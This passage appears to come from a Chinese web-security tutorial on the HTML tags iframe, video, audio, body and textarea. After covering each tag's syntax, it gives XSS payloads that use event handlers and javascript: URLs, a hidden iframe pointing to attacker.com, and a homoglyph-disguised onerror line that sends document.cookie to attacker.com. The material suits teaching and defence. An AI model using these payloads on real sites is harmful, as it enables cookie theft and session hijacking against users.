<iframe>（Inline Frame）\u662fHTML\u4e2d\u7528\u4e8e\u5728\u5f53\u524d\u9875\u9762\u5d4c\u5165\u53e6\u4e00\u4e2aHTML\u6587\u6863\u7684\u6807\u7b7e，\u5e38\u7528\u4e8e\u96c6\u6210\u5916\u90e8\u5185\u5bb9（\u5982\u5730\u56fe\u3001\u89c6\u9891\u3001\u7b2c\u4e09\u65b9\u9875\u9762）\u3002\u4ee5\u4e0b\u662f\u5176\u6838\u5fc3\u7528\u6cd5\u4e0e\u6ce8\u610f\u4e8b\u9879：<\/p>\n
2.4.7.1. \u57fa\u672c\u7ed3\u6784<\/h6>\n
\u901a\u8fc7src\u5c5e\u6027\u6307\u5b9a\u5d4c\u5165\u7684\u5916\u90e8\u9875\u9762URL：<\/p>\n
<iframe
\n src="https:\/\/example.com"
\n width="600"
\n height="400"
\n title="\u793a\u4f8b\u9875\u9762"
\n><\/iframe> <\/p>\n
\n- src：\u5fc5\u586b，\u5d4c\u5165\u9875\u9762\u7684URL（\u652f\u6301\u76f8\u5bf9\u8def\u5f84\u6216\u7edd\u5bf9\u8def\u5f84）\u3002<\/li>\n
- width\/height：\u6846\u67b6\u7684\u5c3a\u5bf8（\u5355\u4f4d：\u50cf\u7d20\u6216\u767e\u5206\u6bd4）\u3002<\/li>\n
- title：\u8f85\u52a9\u5c4f\u5e55\u9605\u8bfb\u5668\u8bc6\u522b\u6846\u67b6\u5185\u5bb9（\u65e0\u969c\u788d\u8bbe\u8ba1\u5fc5\u5907）\u3002<\/li>\n<\/ul>\n
2.4.7.2. \u5173\u952e\u5c5e\u6027<\/h6>\n
\n\n\n\n\u5c5e\u6027<\/p>\n<\/td>\n
\n\u4f5c\u7528<\/p>\n<\/td>\n<\/tr>\n
\n\nsandbox<\/p>\n<\/td>\n
\n\u542f\u7528\u6c99\u7bb1\u6a21\u5f0f，\u9650\u5236iframe\u7684\u6743\u9650（\u5982\u7981\u6b62\u8868\u5355\u63d0\u4ea4\u3001\u811a\u672c\u6267\u884c），\u589e\u5f3a\u5b89\u5168\u6027\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nallowfullscreen<\/p>\n<\/td>\n
\n\u5141\u8bb8\u5d4c\u5165\u9875\u9762\u5168\u5c4f\u663e\u793a（\u5982\u89c6\u9891\u64ad\u653e\u5668\u7684\u5168\u5c4f\u6309\u94ae）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nframeborder<\/p>\n<\/td>\n
\n\u63a7\u5236\u6846\u67b6\u8fb9\u6846（0\u4e3a\u65e0\u8fb9\u6846，1\u4e3a\u6709\u8fb9\u6846，HTML5\u4e2d\u5efa\u8bae\u7528CSS\u66ff\u4ee3）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nscrolling<\/p>\n<\/td>\n
\n\u63a7\u5236\u6eda\u52a8\u6761（auto\u81ea\u52a8\u663e\u793a\u3001yes\u5f3a\u5236\u663e\u793a\u3001no\u9690\u85cf，HTML5\u4e2d\u5df2\u5e9f\u5f03）\u3002<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.4.7.3. \u653b\u51fb<\/h6>\n
\u3010\u9632\u5fa1：\u4f7f\u7528sandbox\u5c5e\u6027 \u9650\u5236iframe\u7684\u6743\u9650（\u5982\u7981\u6b62\u811a\u672c\u6267\u884c\u3001\u8868\u5355\u63d0\u4ea4）：\u3011<\/p>\n
\u653b\u51fb\u8005\u5229\u7528iframe\u7684src\u5c5e\u6027\u6267\u884c\u6076\u610f\u4ee3\u7801，\u5e38\u89c1\u573a\u666f\u5305\u62ec：<\/p>\n
- \u76f4\u63a5\u6ce8\u5165JavaScript \u901a\u8fc7javascript:\u4f2a\u534f\u8bae\u5728iframe\u4e2d\u6267\u884c\u811a\u672c，\u4f8b\u5982：<\/li>\n
<iframe src="javascript:alert('XSS')"><\/iframe> <\/p>\n
\u5f53\u7528\u6237\u8bbf\u95ee\u5305\u542b\u8be5iframe\u7684\u9875\u9762\u65f6，\u811a\u672c\u4f1a\u76f4\u63a5\u6267\u884c，\u53ef\u7528\u4e8e\u7a83\u53d6Cookie\u6216\u91cd\u5b9a\u5411\u9875\u9762\u3002<\/p>\n
- \u52a0\u8f7d\u6076\u610f\u9875\u9762 \u5c06iframe\u7684src\u6307\u5411\u653b\u51fb\u8005\u63a7\u5236\u7684\u9875\u9762，\u5d4c\u5165\u9690\u85cf\u7684\u6076\u610f\u811a\u672c：<\/li>\n
<iframe src="http:\/\/attacker.com\/malicious.html" width="0" height="0"><\/iframe> <\/p>\n
\u6076\u610f\u9875\u9762\u4e2d\u53ef\u5305\u542b\u7a83\u53d6\u7528\u6237\u4fe1\u606f\u7684\u4ee3\u7801（\u5982document.cookie），\u5e76\u901a\u8fc7POST\u8bf7\u6c42\u53d1\u9001\u7ed9\u653b\u51fb\u8005\u670d\u52a1\u5668\u3002<\/p>\n
2.4.8. video \u6807\u7b7e<\/h5>\n
<video>\u662fHTML5\u5f15\u5165\u7684\u539f\u751f\u89c6\u9891\u64ad\u653e\u6807\u7b7e，\u7528\u4e8e\u5728\u7f51\u9875\u4e2d\u5d4c\u5165\u89c6\u9891\u5185\u5bb9，\u65e0\u9700\u4f9d\u8d56Flash\u63d2\u4ef6\u3002<\/p>\n
2.4.8.1. \u57fa\u672c\u7ed3\u6784<\/h6>\n
<video
\n src="example.mp4"
\n width="640"
\n height="360"
\n controls
\n><\/video> <\/p>\n
\n- src：\u5fc5\u586b，\u89c6\u9891\u6587\u4ef6\u7684URL（\u652f\u6301\u76f8\u5bf9\/\u7edd\u5bf9\u8def\u5f84）\u3002<\/li>\n
- controls：\u663e\u793a\u6d4f\u89c8\u5668\u9ed8\u8ba4\u7684\u64ad\u653e\u63a7\u4ef6（\u64ad\u653e\/\u6682\u505c\u3001\u97f3\u91cf\u3001\u8fdb\u5ea6\u6761\u7b49）\u3002<\/li>\n
- width\/height：\u89c6\u9891\u7684\u663e\u793a\u5c3a\u5bf8（\u5355\u4f4d：\u50cf\u7d20）\u3002<\/li>\n<\/ul>\n
2.4.8.2. \u81ea\u5b9a\u4e49\u63a7\u4ef6：JavaScript API<\/h6>\n
\u901a\u8fc7JavaScript\u53ef\u63a7\u5236\u89c6\u9891\u7684\u64ad\u653e\u3001\u6682\u505c\u3001\u97f3\u91cf\u7b49，\u5b9e\u73b0\u81ea\u5b9a\u4e49\u64ad\u653e\u5668：<\/p>\n
const video = document.querySelector('video');
\n\/\/ \u64ad\u653e
\nvideo.play();
\n\/\/ \u6682\u505c
\nvideo.pause();
\n\/\/ \u8bbe\u7f6e\u97f3\u91cf（0-1）
\nvideo.volume = 0.5;
\n\/\/ \u76d1\u542c\u64ad\u653e\u4e8b\u4ef6
\nvideo.addEventListener('play', () => {
\n console.log('\u89c6\u9891\u5f00\u59cb\u64ad\u653e'); <\/p>\n
2.4.8.3. \u653b\u51fb<\/h6>\n
<video><source onerror=alert(1)> <\/p>\n
- <source>\u6807\u7b7e\u7684\u4f5c\u7528 <source>\u7528\u4e8e\u4e3a<video>\u63d0\u4f9b\u591a\u4e2a\u89c6\u9891\u683c\u5f0f（\u5982MP4\u3001WebM），\u6d4f\u89c8\u5668\u4f1a\u4f9d\u6b21\u5c1d\u8bd5\u52a0\u8f7d\u3002<\/li>\n
- onerror\u89e6\u53d1\u6076\u610f\u4ee3\u7801 \u4ee3\u7801\u4e2d\u672a\u6307\u5b9asrc\u5c5e\u6027（\u6216src\u65e0\u6548），\u5bfc\u81f4<source>\u52a0\u8f7d\u5931\u8d25，\u89e6\u53d1onerror=alert(1)\u6267\u884cJavaScript\u4ee3\u7801（\u5b9e\u9645\u653b\u51fb\u4e2d\u53ef\u80fd\u662f\u7a83\u53d6Cookie\u3001\u9493\u9c7c\u7b49）\u3002<\/li>\n
2.4.9. audio \u6807\u7b7e<\/h5>\n
<audio>\u662fHTML5\u5f15\u5165\u7684\u539f\u751f\u97f3\u9891\u64ad\u653e\u6807\u7b7e，\u7528\u4e8e\u5728\u7f51\u9875\u4e2d\u5d4c\u5165\u97f3\u9891\u5185\u5bb9（\u5982\u97f3\u4e50\u3001\u64ad\u5ba2\u3001\u97f3\u6548\u7b49），\u65e0\u9700\u4f9d\u8d56Flash\u63d2\u4ef6\u3002<\/p>\n
\u3010video\u662f\u6307\u89c6\u9891\u4e4b\u7c7b\u7684，audio\u662f\u6307\u97f3\u4e50，\u58f0\u97f3\u4e4b\u7c7b\u7684\u3011<\/p>\n
2.4.9.1. \u57fa\u672c\u7ed3\u6784<\/h6>\n
\u901a\u8fc7src\u6307\u5b9a\u97f3\u9891\u6587\u4ef6\u8def\u5f84，\u652f\u6301MP3\u3001WAV\u3001Ogg\u7b49\u683c\u5f0f：<\/p>\n
<audio
\n src="music.mp3"
\n controls
\n><\/audio> <\/p>\n
\n- src：\u5fc5\u586b，\u97f3\u9891\u6587\u4ef6\u7684URL（\u76f8\u5bf9\/\u7edd\u5bf9\u8def\u5f84\u5747\u53ef）\u3002<\/li>\n
- controls：\u663e\u793a\u6d4f\u89c8\u5668\u9ed8\u8ba4\u7684\u97f3\u9891\u63a7\u4ef6（\u64ad\u653e\/\u6682\u505c\u3001\u97f3\u91cf\u3001\u8fdb\u5ea6\u6761\u7b49）\u3002<\/li>\n<\/ul>\n
2.4.9.2. \u653b\u51fb<\/h6>\n
<audio src=x onerror=alert(1);> <\/p>\n
- src=x\u89e6\u53d1\u9519\u8bef src=x\u662f\u4e00\u4e2a\u65e0\u6548\u7684\u97f3\u9891\u6587\u4ef6\u8def\u5f84，\u6d4f\u89c8\u5668\u52a0\u8f7d\u5931\u8d25\u65f6\u4f1a\u89e6\u53d1onerror\u4e8b\u4ef6\u3002<\/li>\n
- onerror\u6267\u884c\u6076\u610f\u4ee3\u7801 onerror=alert(1);\u4e2d\u7684alert(1)\u662f\u6d4b\u8bd5\u7528\u7684\u6076\u610f\u4ee3\u7801（\u5b9e\u9645\u653b\u51fb\u4e2d\u53ef\u80fd\u662f\u7a83\u53d6Cookie\u3001\u91cd\u5b9a\u5411\u9875\u9762\u7b49）\u3002\u5f53\u9519\u8bef\u53d1\u751f\u65f6，\u4ee3\u7801\u4f1a\u81ea\u52a8\u6267\u884c\u3002<\/li>\n
\u3010\u5982：\u03bfnerr\u03bfr="fetch('http:\/\/attacker.com\/steal?cookie='+document.cookie)\u3011<\/p>\n
2.4.10. body \u6807\u7b7e<\/h5>\n
<body>\u662fHTML\u6587\u6863\u7684\u6838\u5fc3\u5185\u5bb9\u5bb9\u5668，\u6240\u6709\u53ef\u89c1\u7684\u9875\u9762\u5143\u7d20（\u5982\u6587\u672c\u3001\u56fe\u7247\u3001\u6309\u94ae\u3001\u89c6\u9891）\u90fd\u5fc5\u987b\u5d4c\u5957\u5728<body>\u6807\u7b7e\u5185\u3002\u4ee5\u4e0b\u662f\u5176\u6838\u5fc3\u4f5c\u7528\u4e0e\u5c5e\u6027：<\/p>\n
2.4.10.1. \u57fa\u672c\u7ed3\u6784<\/h6>\n
<body>\u4f4d\u4e8e<head>\u4e4b\u540e，\u662fHTML\u6587\u6863\u7684\u201c\u4e3b\u4f53\u201d\u90e8\u5206：<\/p>\n
<!DOCTYPE html>
\n<html>
\n <head>
\n <title>\u9875\u9762\u6807\u9898<\/title>
\n <\/head>
\n <body>
\n <!– \u6240\u6709\u53ef\u89c1\u5185\u5bb9\u90fd\u5728\u8fd9\u91cc –>
\n <h1>\u8fd9\u662f\u9875\u9762\u6807\u9898<\/h1>
\n <p>\u8fd9\u662f\u4e00\u6bb5\u6587\u672c<\/p>
\n <\/body>
\n<\/html> <\/p>\n
2.4.10.2. \u6838\u5fc3\u5c5e\u6027<\/h6>\n
\n\n\n\n\u5c5e\u6027<\/p>\n<\/td>\n
\n\u4f5c\u7528<\/p>\n<\/td>\n<\/tr>\n
\n\nonload<\/p>\n<\/td>\n
\n\u9875\u9762\u5b8c\u5168\u52a0\u8f7d（\u5305\u62ec\u56fe\u7247\u3001\u811a\u672c）\u540e\u89e6\u53d1\u7684\u4e8b\u4ef6（\u5982\u6267\u884c\u521d\u59cb\u5316\u51fd\u6570）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nonunload<\/p>\n<\/td>\n
\n\u7528\u6237\u79bb\u5f00\u9875\u9762\u65f6\u89e6\u53d1\u7684\u4e8b\u4ef6（\u5982\u4fdd\u5b58\u7528\u6237\u6570\u636e）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\nbgcolor<\/p>\n<\/td>\n
\n\u9875\u9762\u80cc\u666f\u8272（\u5df2\u8fc7\u65f6，\u5efa\u8bae\u7528CSS\u7684background-color\u66ff\u4ee3）\u3002<\/p>\n<\/td>\n<\/tr>\n
\n\ntext<\/p>\n<\/td>\n
\n\u9875\u9762\u9ed8\u8ba4\u6587\u672c\u989c\u8272（\u5df2\u8fc7\u65f6，\u5efa\u8bae\u7528CSS\u7684color\u66ff\u4ee3）\u3002<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.4.10.3. \u5e38\u89c1\u7528\u6cd5<\/h6>\n
- \u627f\u8f7d\u6240\u6709\u53ef\u89c1\u5143\u7d20 \u6587\u672c\u3001\u56fe\u7247\u3001\u94fe\u63a5\u3001\u8868\u5355\u3001\u89c6\u9891\u7b49\u90fd\u5fc5\u987b\u653e\u5728<body>\u5185，\u5426\u5219\u6d4f\u89c8\u5668\u4f1a\u5ffd\u7565\u8fd9\u4e9b\u5185\u5bb9\u3002<\/li>\n
- \u4e8b\u4ef6\u7ed1\u5b9a（\u9700\u8c28\u614e） \u53ef\u901a\u8fc7onload\u6267\u884c\u9875\u9762\u521d\u59cb\u5316\u903b\u8f91：<\/li>\n
<body onload="initPage()">
\n <script>
\n function initPage() {
\n console.log('\u9875\u9762\u52a0\u8f7d\u5b8c\u6210');
\n }
\n <\/script>
\n<\/body> <\/p>\n
\u26a0\ufe0f \u5b89\u5168\u98ce\u9669：\u76f4\u63a5\u5728<body>\u4e0a\u7ed1\u5b9aonload\u7b49\u4e8b\u4ef6\u53ef\u80fd\u88abXSS\u653b\u51fb\u5229\u7528（\u5982\u6ce8\u5165\u6076\u610f\u4ee3\u7801），\u5efa\u8bae\u901a\u8fc7JavaScript\u52a8\u6001\u7ed1\u5b9a\u4e8b\u4ef6\u3002<\/p>\n
2.4.10.4. \u5b89\u5168\u4e0e\u6027\u80fd\u5efa\u8bae<\/h6>\n
- \u907f\u514d\u5185\u8054\u4e8b\u4ef6\u5c5e\u6027 \u5c3d\u91cf\u4e0d\u7528onload\u3001onclick\u7b49\u5185\u8054\u4e8b\u4ef6，\u6539\u7528JavaScript\u7684addEventListener：<\/li>\n
window.addEventListener('load', () => {
\n console.log('\u9875\u9762\u52a0\u8f7d\u5b8c\u6210');
\n}); <\/p>\n
- \u4f18\u5316\u9875\u9762\u52a0\u8f7d\u987a\u5e8f \u5c06CSS\u653e\u5728<head>\u4e2d，JavaScript\u653e\u5728<body>\u5e95\u90e8，\u907f\u514d\u963b\u585e\u9875\u9762\u6e32\u67d3\u3002<\/li>\n
2.4.10.5. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n
<body>\u662fHTML\u6587\u6863\u7684\u5185\u5bb9\u627f\u8f7d\u533a，\u6240\u6709\u53ef\u89c1\u5143\u7d20\u7684\u201c\u5bb6\u201d，\u540c\u65f6\u4e5f\u662f\u9875\u9762\u4e8b\u4ef6（\u5982\u52a0\u8f7d\u3001\u5378\u8f7d）\u7684\u89e6\u53d1\u8f7d\u4f53 📄\u3002<\/p>\n
2.4.10.6. \u653b\u51fb<\/h6>\n2.4.10.6.1. onload<\/h6>\n
body onload=alert(1)<\/p>\n
\n- <body>：HTML\u6587\u6863\u7684\u5185\u5bb9\u5bb9\u5668\u6807\u7b7e\u3002<\/li>\n
- onload：<body>\u7684\u52a0\u8f7d\u4e8b\u4ef6\u5c5e\u6027，\u5f53\u9875\u9762\u5b8c\u5168\u52a0\u8f7d（\u5305\u62ec\u56fe\u7247\u3001\u811a\u672c\u7b49\u8d44\u6e90）\u65f6\u89e6\u53d1\u3002<\/li>\n
- alert(1)：JavaScript\u7684\u5f39\u7a97\u51fd\u6570，\u6b64\u5904\u4f5c\u4e3a\u6076\u610f\u811a\u672c\u7684\u7b80\u5316\u793a\u4f8b（\u5b9e\u9645\u653b\u51fb\u4e2d\u53ef\u80fd\u66ff\u6362\u4e3a\u7a83\u53d6Cookie\u3001\u8df3\u8f6c\u9493\u9c7c\u7f51\u7ad9\u7b49\u4ee3\u7801）\u3002<\/li>\n<\/ul>\n
\u539f\u7406：<\/p>\n
\u5f53\u7528\u6237\u8bbf\u95ee\u5305\u542b\u8be5\u4ee3\u7801\u7684\u9875\u9762\u65f6：<\/p>\n
- \u6d4f\u89c8\u5668\u52a0\u8f7d<body>\u6807\u7b7e\u3002<\/li>\n
- \u89e6\u53d1onload\u4e8b\u4ef6，\u6267\u884calert(1)\u3002<\/li>\n
- \u9875\u9762\u5f39\u51fa\u5185\u5bb9\u4e3a\u201c1\u201d\u7684\u8b66\u793a\u6846（\u82e5\u66ff\u6362\u4e3a\u6076\u610f\u811a\u672c，\u53ef\u80fd\u7a83\u53d6\u7528\u6237\u4fe1\u606f\u6216\u7be1\u6539\u9875\u9762）\u3002<\/li>\n
2.4.10.6.2. onscroll<\/h6>\n
onscroll \u4e8b\u4ef6\u5728\u5143\u7d20\u6eda\u52a8\u6761\u5728\u6eda\u52a8\u65f6\u89e6\u53d1\u3002\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u6362\u884c\u7b26\u4ee5\u53caautofocus，\u5f53\u7528\u6237\u6ed1\u52a8\u6eda\u52a8\u6761\u7684\u65f6\u5019\u81ea\u52a8\u89e6\u53d1，\u65e0\u9700\u7528\u6237\u53bb\u70b9\u51fb\u89e6\u53d1：<\/p>\n
<body
\n onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <\/p>\n
\n- <body>：HTML\u6587\u6863\u7684\u5185\u5bb9\u5bb9\u5668\u6807\u7b7e\u3002<\/li>\n
- onscroll：<body>\u7684\u6eda\u52a8\u4e8b\u4ef6\u5c5e\u6027，\u5f53\u9875\u9762\u6eda\u52a8\u6761\u6eda\u52a8\u65f6\u89e6\u53d1\u3002<\/li>\n
- <br>\u91cd\u590d：\u901a\u8fc7\u5927\u91cf\u6362\u884c\u7b26（<br>）\u62c9\u957f\u9875\u9762\u9ad8\u5ea6，\u5f3a\u5236\u51fa\u73b0\u6eda\u52a8\u6761，\u7528\u6237\u53ea\u9700\u6ed1\u52a8\u9875\u9762\u5373\u53ef\u89e6\u53d1\u4e8b\u4ef6\u3002<\/li>\n
- alert(1)：JavaScript\u5f39\u7a97\u51fd\u6570（\u5b9e\u9645\u653b\u51fb\u4e2d\u53ef\u80fd\u66ff\u6362\u4e3a\u7a83\u53d6Cookie\u3001\u8df3\u8f6c\u9493\u9c7c\u7f51\u7ad9\u7b49\u6076\u610f\u4ee3\u7801）\u3002<\/li>\n<\/ul>\n
\u539f\u7406：<\/p>\n
\u5f53\u7528\u6237\u8bbf\u95ee\u5305\u542b\u8be5\u4ee3\u7801\u7684\u9875\u9762\u65f6：<\/p>\n
- \u5927\u91cf<br>\u5bfc\u81f4\u9875\u9762\u8fc7\u957f，\u51fa\u73b0\u6eda\u52a8\u6761\u3002<\/li>\n
- \u7528\u6237\u6ed1\u52a8\u9875\u9762（\u6216\u9875\u9762\u81ea\u52a8\u6eda\u52a8）\u65f6，\u89e6\u53d1onscroll\u4e8b\u4ef6\u3002<\/li>\n
- \u6267\u884calert(1)，\u5f39\u51fa\u8b66\u793a\u6846（\u82e5\u4e3a\u6076\u610f\u811a\u672c，\u53ef\u80fd\u7a83\u53d6\u7528\u6237\u4fe1\u606f）\u3002<\/li>\n
2.4.11. textarea \u6807\u7b7e<\/h5>\n
<textarea> \u662fHTML\u4e2d\u7528\u4e8e\u521b\u5efa\u591a\u884c\u6587\u672c\u8f93\u5165\u533a\u57df\u7684\u6807\u7b7e，\u5e38\u7528\u4e8e\u8868\u5355\u4e2d\u7684\u8bc4\u8bba\u3001\u53cd\u9988\u3001\u4ee3\u7801\u8f93\u5165\u7b49\u573a\u666f，\u6838\u5fc3\u7279\u70b9\u662f\u652f\u6301\u6362\u884c\u548c\u957f\u6587\u672c\u8f93\u5165\u3002<\/p>\n
2.4.11.1. \u57fa\u672c\u8bed\u6cd5<\/h6>\n
<textarea rows="\u884c\u6570" cols="\u5217\u6570" placeholder="\u63d0\u793a\u6587\u5b57" name="\u5b57\u6bb5\u540d">
\n \u9ed8\u8ba4\u6587\u672c（\u53ef\u9009）
\n<\/textarea> <\/p>\n
2.4.11.2. \u5173\u952e\u5c5e\u6027<\/h6>\n\n- rows：\u6307\u5b9a\u8f93\u5165\u6846\u7684\u53ef\u89c1\u884c\u6570（\u9ad8\u5ea6），\u5982 rows="5" \u8868\u793a\u663e\u793a5\u884c\u6587\u672c\u3002<\/li>\n
- cols：\u6307\u5b9a\u8f93\u5165\u6846\u7684\u53ef\u89c1\u5217\u6570（\u5bbd\u5ea6），\u5982 cols="30" \u8868\u793a\u6bcf\u884c\u663e\u793a30\u4e2a\u5b57\u7b26\u3002<\/li>\n
- placeholder：\u8f93\u5165\u6846\u4e3a\u7a7a\u65f6\u7684\u63d0\u793a\u6587\u5b57，\u5982 placeholder="\u8bf7\u8f93\u5165\u60a8\u7684\u8bc4\u8bba…"\u3002<\/li>\n
- name：\u8868\u5355\u63d0\u4ea4\u65f6\u7684\u5b57\u6bb5\u540d，\u7528\u4e8e\u540e\u7aef\u63a5\u6536\u6570\u636e\u3002<\/li>\n
- disabled：\u8bbe\u7f6e\u8f93\u5165\u6846\u4e3a\u7981\u7528\u72b6\u6001（\u4e0d\u53ef\u7f16\u8f91）\u3002<\/li>\n
- required：\u8868\u5355\u63d0\u4ea4\u65f6\u5fc5\u987b\u586b\u5199\u8be5\u5b57\u6bb5\u3002<\/li>\n<\/ul>\n
2.4.11.3. \u4e0e <input type="text"> \u7684\u533a\u522b<\/h6>\n
\n\n\n\n\u7279\u6027<\/p>\n<\/td>\n
\n<textarea><\/p>\n<\/td>\n
\n<input type="text"><\/p>\n<\/td>\n<\/tr>\n
\n\n\u8f93\u5165\u65b9\u5f0f<\/p>\n<\/td>\n
\n\u591a\u884c\u6587\u672c，\u652f\u6301\u6362\u884c<\/p>\n<\/td>\n
\n\u5355\u884c\u6587\u672c，\u4e0d\u652f\u6301\u6362\u884c<\/p>\n<\/td>\n<\/tr>\n
\n\n\u5927\u5c0f\u63a7\u5236<\/p>\n<\/td>\n
\n\u901a\u8fc7 rows\/cols\u6216CSS<\/p>\n<\/td>\n
\n\u901a\u8fc7 size\u5c5e\u6027\u6216CSS<\/p>\n<\/td>\n<\/tr>\n
\n\n\u9ed8\u8ba4\u503c<\/p>\n<\/td>\n
\n\u5199\u5728\u6807\u7b7e\u5185\u90e8<\/p>\n<\/td>\n
\n\u901a\u8fc7 value\u5c5e\u6027\u8bbe\u7f6e<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
2.4.11.4. \u653b\u51fb<\/h6>\n
<textarea onfocus=alert(1); autofocus><\/p>\n
\n- <textarea>：HTML\u7684\u591a\u884c\u6587\u672c\u8f93\u5165\u6846\u6807\u7b7e\u3002<\/li>\n
- onfocus：<textarea>\u7684\u805a\u7126\u4e8b\u4ef6\u5c5e\u6027，\u5f53\u8f93\u5165\u6846\u83b7\u5f97\u7126\u70b9（\u5982\u7528\u6237\u70b9\u51fb\u3001\u81ea\u52a8\u805a\u7126）\u65f6\u89e6\u53d1\u3002<\/li>\n
- autofocus：HTML5\u7684\u81ea\u52a8\u805a\u7126\u5c5e\u6027，\u9875\u9762\u52a0\u8f7d\u65f6\u81ea\u52a8\u5c06\u5149\u6807\u5b9a\u4f4d\u5230\u8be5\u8f93\u5165\u6846，\u65e0\u9700\u7528\u6237\u64cd\u4f5c\u3002<\/li>\n
- alert(1)：JavaScript\u5f39\u7a97\u51fd\u6570（\u5b9e\u9645\u653b\u51fb\u4e2d\u53ef\u80fd\u66ff\u6362\u4e3a\u7a83\u53d6Cookie\u3001\u8df3\u8f6c\u9493\u9c7c\u7f51\u7ad9\u7b49\u6076\u610f\u4ee3\u7801）\u3002<\/li>\n<\/ul>\n
\u539f\u7406：<\/p>\n
\u5f53\u7528\u6237\u8bbf\u95ee\u5305\u542b\u8be5\u4ee3\u7801\u7684\u9875\u9762\u65f6：<\/p>\n
- \u9875\u9762\u52a0\u8f7d\u540e，autofocus\u81ea\u52a8\u8ba9<textarea>\u83b7\u5f97\u7126\u70b9\u3002<\/li>\n
- \u89e6\u53d1onfocus\u4e8b\u4ef6，\u6267\u884calert(1)，\u5f39\u51fa\u8b66\u793a\u6846\u3002<\/li>\n
- \u82e5\u66ff\u6362\u4e3a\u6076\u610f\u811a\u672c（\u5982document.location.href='\u9493\u9c7c\u7f51\u5740'），\u53ef\u76f4\u63a5\u7a83\u53d6\u7528\u6237\u4fe1\u606f\u6216\u8bf1\u5bfc\u64cd\u4f5c\u3002<\/li>\n
2.5. xss\u7684\u5371\u5bb3<\/h4>\n
![\"\"](\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260124190435-697517c304271.png\")
<\/p>\n
XSS（\u8de8\u7ad9\u811a\u672c\u653b\u51fb）\u7684\u672c\u8d28\u662f\u653b\u51fb\u8005\u901a\u8fc7\u6ce8\u5165\u6076\u610f\u811a\u672c，\u5728\u7528\u6237\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u672a\u6388\u6743\u64cd\u4f5c，\u5176\u5371\u5bb3\u53ef\u5206\u4e3a\u6570\u636e\u7a83\u53d6\u3001\u8d26\u6237\u52ab\u6301\u3001\u4e1a\u52a1\u7834\u574f\u4e09\u5927\u7c7b，\u5177\u4f53\u8868\u73b0\u5982\u4e0b：<\/p>\n
2.5.1. \u76f4\u63a5\u7a83\u53d6\u654f\u611f\u4fe1\u606f<\/h5>\n\n- Cookie\/Token\u88ab\u76d7：\u6076\u610f\u811a\u672c\u901a\u8fc7document.cookie\u8bfb\u53d6\u7528\u6237\u767b\u5f55\u51ed\u8bc1，\u653b\u51fb\u8005\u53ef\u76f4\u63a5\u767b\u5f55\u7528\u6237\u8d26\u6237（\u5982\u7f51\u94f6\u3001\u793e\u4ea4\u5e73\u53f0）\u3002<\/li>\n
- \u952e\u76d8\u8bb0\u5f55：\u6ce8\u5165\u952e\u76d8\u8bb0\u5f55\u811a\u672c，\u7a83\u53d6\u7528\u6237\u8f93\u5165\u7684\u5bc6\u7801\u3001\u94f6\u884c\u5361\u53f7\u7b49\u4fe1\u606f\u3002<\/li>\n
- \u4f1a\u8bdd\u52ab\u6301：\u5229\u7528\u7a83\u53d6\u7684Cookie，\u5192\u5145\u7528\u6237\u8eab\u4efd\u8fdb\u884c\u64cd\u4f5c（\u5982\u8f6c\u8d26\u3001\u53d1\u5e03\u5185\u5bb9）\u3002<\/li>\n<\/ul>\n
2.5.2. \u63a7\u5236\u7528\u6237\u8d26\u6237\u4e0e\u8bbe\u5907<\/h5>\n\n- \u8d26\u6237\u63a5\u7ba1：\u901a\u8fc7\u4fee\u6539\u7528\u6237\u5bc6\u7801\u3001\u7ed1\u5b9a\u653b\u51fb\u8005\u624b\u673a\u53f7，\u5b8c\u5168\u63a7\u5236\u8d26\u6237\u3002<\/li>\n
- \u9493\u9c7c\u653b\u51fb：\u5728\u9875\u9762\u4e2d\u6ce8\u5165\u4f2a\u9020\u7684\u767b\u5f55\u6846\/\u652f\u4ed8\u5f39\u7a97，\u8bf1\u5bfc\u7528\u6237\u8f93\u5165\u654f\u611f\u4fe1\u606f\u3002<\/li>\n
- \u6076\u610f\u64cd\u4f5c：\u5f3a\u5236\u7528\u6237\u6267\u884c\u64cd\u4f5c（\u5982\u81ea\u52a8\u70b9\u8d5e\u3001\u8f6c\u53d1\u5783\u573e\u4fe1\u606f\u3001\u8d2d\u4e70\u5546\u54c1）\u3002<\/li>\n<\/ul>\n
2.5.3. \u7834\u574f\u4e1a\u52a1\u4e0e\u4f20\u64ad\u6076\u610f\u4ee3\u7801<\/h5>\n\n- \u7f51\u9875\u7be1\u6539：\u66ff\u6362\u9875\u9762\u5185\u5bb9（\u5982\u663e\u793a\u865a\u5047\u516c\u544a\u3001\u690d\u5165\u5e7f\u544a），\u635f\u5bb3\u7f51\u7ad9\u4fe1\u8a89\u3002<\/li>\n
- \u8815\u866b\u4f20\u64ad：\u5229\u7528XSS\u6f0f\u6d1e\u81ea\u52a8\u611f\u67d3\u5176\u4ed6\u7528\u6237（\u5982\u65e9\u671fSamy\u8815\u866b\u901a\u8fc7MySpace\u4f20\u64ad）\u3002<\/li>\n
- \u690d\u5165\u6076\u610f\u8f6f\u4ef6：\u901a\u8fc7\u811a\u672c\u4e0b\u8f7d\u6728\u9a6c\u3001\u52d2\u7d22\u8f6f\u4ef6，\u611f\u67d3\u7528\u6237\u8bbe\u5907\u3002<\/li>\n<\/ul>\n
2.5.4. \u5178\u578b\u6848\u4f8b\u8b66\u793a<\/h5>\n\n- 2018\u5e74\u5fae\u535aXSS\u4e8b\u4ef6：\u653b\u51fb\u8005\u5229\u7528\u8bc4\u8bba\u533a\u53cd\u5c04\u578bXSS\u6f0f\u6d1e，\u7a83\u53d6\u5927\u91cf\u7528\u6237Cookie，\u5bfc\u81f4\u8d26\u6237\u88ab\u76d7\u3002<\/li>\n
